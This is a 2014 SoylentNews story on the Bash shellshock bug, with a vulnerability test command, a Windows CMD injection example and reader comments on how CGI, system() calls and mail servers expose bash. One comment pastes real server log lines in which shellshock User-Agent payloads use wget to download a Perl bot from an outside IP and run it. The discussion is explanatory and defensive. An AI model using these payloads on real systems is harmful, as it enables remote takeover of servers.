Stories
Slash Boxes
Comments

SoylentNews is people

posted by martyb on Saturday October 11 2014, @01:15PM   Printer-friendly
from the he-who-does-not-learn-from-history dept.

David Wheeler has a nice write-up of the many aspects of the shellshock vulnerability in Bash, including a timeline of events and commentary on how to prevent vulnerabilities like shellshock in the future.

He even provides a quick test to see if your shell is still susceptible to shellshock:

To determine if a system is vulnerable to shellshock, run the following refined test on a Unix-like system command line (this should work on any Bourne or C shell):

env foo='() { echo not patched; }' bash -c foo

This will reply “bash: foo: command not found” on a repaired system, while a vulnerable system will typically reply “not patched” instead. The initial “env” can be omitted when typing the command into a POSIX/Bourne shell (including bash, dash, and ash).

The write-up shows that several mis-identifications of the problem were communicated, as well as how multiple solutions were constructed—thanks to the code being open-source.

He also presents a similar type of defect under Microsoft Windows where, in a CMD.EXE window, issuing these commands:

  set foo=bar^&ping -n 1 localhost
  echo %foo% 

will not only display the value of the "foo" environment variable, it will also cause a ping command to be executed.

[Update: fixed formatting of code sample.]

 
This discussion has been archived. No new comments can be posted.
Display Options Threshold/Breakthrough Mark All as Read Mark All as Unread
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
  • (Score: 2) by PizzaRollPlinkett on Saturday October 11 2014, @04:08PM

    by PizzaRollPlinkett (4512) on Saturday October 11 2014, @04:08PM (#104798)

    Do we know yet how pervasively this bash bug was exploited? How many remote access exploits have there been? One server in ten? One in a million? One in a trillion? I can't get a mental picture of how pervasively this bug has been exploited.

    I can't wrap my mind around the idea that much critical Internet infrastructure depends on bash. Are there really a lot of CGI programs (which don't sanitize their input) being used on the Internet today? Were there ever? I used to see trivial CGI examples in bash, in books and tutorials, but I just assumed that anyone who actually wrote a CGI program would use Perl. For better performance if nothing else. And even old legacy web stuff is usually not CGI, but something like ColdFusion or original ASP. How many web servers are even set up to run CGI?

    How much should we care about shell security? Has anyone ever expected shells to be secure? Compared to, say, the daily parade of credit card data breaches, is bash security an important issue? Or are people magnifying this issue because it's a slow news period?

    --
    (E-mail me if you want a pizza roll!)
    Starting Score:    1  point
    Karma-Bonus Modifier   +1  

    Total Score:   2  
  • (Score: 3, Informative) by Foobar Bazbot on Saturday October 11 2014, @05:15PM

    by Foobar Bazbot (37) on Saturday October 11 2014, @05:15PM (#104814) Journal

    I don't have numbers either, but AIUI it goes much farther than a putative real-world CGI service implemented directly in bash. (Which I'm with you on. Perl, sure. Maybe ruby or python, if that's your thing. Personally, I could see doing it with awk, because dammit, I like awk. But bash? WTF would ever make you do that?)

    The point is, once an attacker puts the exploit in your CGI script's environment as HTTP_FOO, it not only applies to the CGI script itself, but is commonly inherited along with the rest of the environment by child processes. If the CGI script or any child process eventually executes /bin/bash (or /bin/sh on many systems), whether explicitly or implicitly, you get bit. In C terms, I mean by "explicitly" something like:

    execl("/bin/bash","-c","ls"); //obvious

    and by "implicitly" something like:

    execlp("foo"); // /usr/bin/foo happens to be an executable shell script

    or

    system("ls"); //system() always invokes a shell

    I'm not familiar with perl's facilities for executing external commands, but I assume that, like many languages, it has both system()-like and exec()-like facilities. Even if not, or if your code only uses the exec()-like version, it may implicitly spawn a shell by execing a shell script, and of course any program it does call may also start a shell implicitly or explicitly.

    • (Score: 3, Informative) by maxwell demon on Saturday October 11 2014, @07:41PM

      by maxwell demon (1608) Subscriber Badge on Saturday October 11 2014, @07:41PM (#104848) Journal

      However, system invokes /bin/sh which need not be bash (and at least on Debian-derived systems is not bash). And a shell script, unless it explicitly requests bash in the shebang line, will also be executed using /bin/sh.

      --
      The Tao of math: The numbers you can count are not the real numbers.
      • (Score: 2) by fnj on Sunday October 12 2014, @06:38AM

        by fnj (1654) on Sunday October 12 2014, @06:38AM (#104988)
        Yes, Debian/Ubuntu and related distros do it right. But realize that in RHEL/CentOS/Fedora and very likely other distros, /bin/sh is a symlink to bash. RHEL is pretty big in major corporations and government organizations.
    • (Score: 2) by choose another one on Saturday October 11 2014, @10:01PM

      by choose another one (515) on Saturday October 11 2014, @10:01PM (#104882)

      It goes further than CGI as well. The unix way means implementing services as pipelines of lots of different programs, and environment variables pass all the way through. Any program in the pipeline may be a shell script or may use system() etc. Often shell scripts are part of the pipeline specifically to allow user customizability.

      Think ".qmail" for instance (man qmail-command). In fact several (most) mail servers are vulnerable. Just as one example, other services are vulnerable too.

      • (Score: 2) by fnj on Sunday October 12 2014, @06:41AM

        by fnj (1654) on Sunday October 12 2014, @06:41AM (#104989)
        Correct. For an even simpler and more blatant and pervasive vulnerability, consider dhclient calling system() to munge /etc/resolv.conf.
    • (Score: 2) by chromas on Sunday October 12 2014, @09:32AM

      by chromas (34) Subscriber Badge on Sunday October 12 2014, @09:32AM (#105005) Journal

      because dammit, I like awk.

      SedBot weeps in the corner.

      system() always invokes a shell

      And think of all those init scripts! So you see? Systemd was trying to save us all along!

  • (Score: 2) by francois.barbier on Monday October 13 2014, @01:32PM

    by francois.barbier (651) on Monday October 13 2014, @01:32PM (#105536)
    A little bit late, but I got this in my logs just now:

    94.102.63.238 - - [13/Oct/2014:15:23:55 +0200] "GET /cgi-sys/php5? HTTP/1.1" 301 579 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 0 69
    94.102.63.238 - - [13/Oct/2014:15:23:55 +0200] "GET /phppath/php? HTTP/1.1" 301 577 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 0 71
    94.102.63.238 - - [13/Oct/2014:15:23:55 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 301 593 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 0 58
    94.102.63.238 - - [13/Oct/2014:15:23:55 +0200] "GET /cgi-bin/php? HTTP/1.1" 301 577 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 0 58
    94.102.63.238 - - [13/Oct/2014:15:23:55 +0200] "GET /cgi-bin/php5? HTTP/1.1" 301 579 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 0 188
    94.102.63.238 - - [13/Oct/2014:15:23:56 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 301 587 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 0 95

    Here is the code of the shell script it tries to run: http://pastebin.com/6z9gfdSx [pastebin.com]